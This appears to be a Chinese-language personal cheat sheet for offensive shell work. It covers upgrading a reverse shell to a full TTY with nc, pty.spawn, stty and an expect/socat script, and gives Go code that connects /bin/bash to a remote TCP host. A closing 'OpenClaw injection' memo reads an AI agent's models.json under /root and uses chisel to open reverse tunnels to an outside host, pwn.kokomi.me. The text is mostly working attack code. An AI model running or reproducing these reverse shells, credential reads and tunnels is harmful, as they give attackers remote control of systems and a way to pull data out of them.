创建功能完整的反弹 Shell

也就是带 TTY,能正常运行 vim,passwd 等

在监听端用 nc 开启监听,并留一手在退出后恢复 echo 回显

为了绕过 Windows SSH 粘贴文字会丢失开头的一些字符 的问题,在 nc 之前就计算好 stty 的参数

Listener Side
cols=$(stty -a < /dev/tty | grep -oE 'columns [0-9]+' | cut -d' ' -f2)
rows=$(stty -a < /dev/tty | grep -oE 'rows [0-9]+' | cut -d' ' -f2)
echo "Copy these to clipboard and paste back to this session:"
echo "stty rows $rows cols $cols"
echo "export TERM=xterm-256color"
 
nc -nvlp 3333 & wait $!; stty -raw echo

在取得反弹 Shell 的被控端,用两种方式之一启动带 TTY 的子进程,再按 Ctrl + Z 置于后台

Inside Reverse Shell
script /dev/null
python3 -c 'import pty; pty.spawn("/bin/bash")'
<Ctrl+Z>

回到监听端的 Shell 后,把 stty 那些行贴入 reverse shell

Listner Side
stty raw -echo < /dev/tty; fg
<paste><enter>

实践之后可以省略简单些,用 expect(1) 替我们输入,用 socat 配置 tty

#!/usr/bin/env expect
set ROWS [exec sh -c {stty size | cut -d' ' -f1}]
set COLS [exec sh -c {stty size | cut -d' ' -f2}]
set PORT 3333
if {[llength $argv] > 0} {
    set PORT [lindex $argv 0]
}
 
set INIT_CMD {
exec python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color;
stty rows __ROWS__ cols __COLS__;
reset;
}
 
# 替换占位符(因为花括号内不能直接展开变量)
regsub -all __ROWS__ $INIT_CMD $ROWS INIT_CMD
regsub -all __COLS__ $INIT_CMD $COLS INIT_CMD
 
spawn socat -dd OPEN:/dev/tty,raw,echo=0 TCP-LISTEN:$PORT,reuseaddr
send -- "$INIT_CMD"
interact

正常停下反弹 Shell

之前用 go 写了一个连到远程的反弹 Shell,但发现在 shell 中执行 exit 结束进程后,该启动反弹 shell 的进程并没有正常停下。发现是这个写法有问题:

有问题的写法
conn, _ := net.Dial("tcp", remote)
defer conn.Close()
cmd := exec.Command("/bin/bash")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()

这里 cmd.Run() 内部的 Wait() 会等待进程结束以及 stdin/stdout 等都关闭后才会返回。
当在 shell 中执行 exit,bash 是退出了,但它的 fd 连着的 tcp 还没关上呢。

修正的写法是这样:

cmd := exec.Command("/bin/bash")
defer conn.Close()
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
stderr, _ := cmd.StderrPipe()
go io.Copy(stdin, conn)
go io.Copy(conn, stdout)
go io.Copy(conn, stderr)
cmd.Run()

OpenClaw 注入备忘

getfacl /root/.openclaw/agents/main/agent/models.json
cat /root/.openclaw/agents/main/agent/models.json
nohup ./chisel_1.11.3_linux_amd64 client pwn.kokomi.me:3334 R:3336:127.0.0.1:8766 >/dev/null &
nohup ./chisel_1.11.3_linux_amd64 client pwn.kokomi.me:3334 R:3337:127.0.0.1:18789 > /dev/null &
ssh -N -L 3336:127.0.0.1:3336 paimon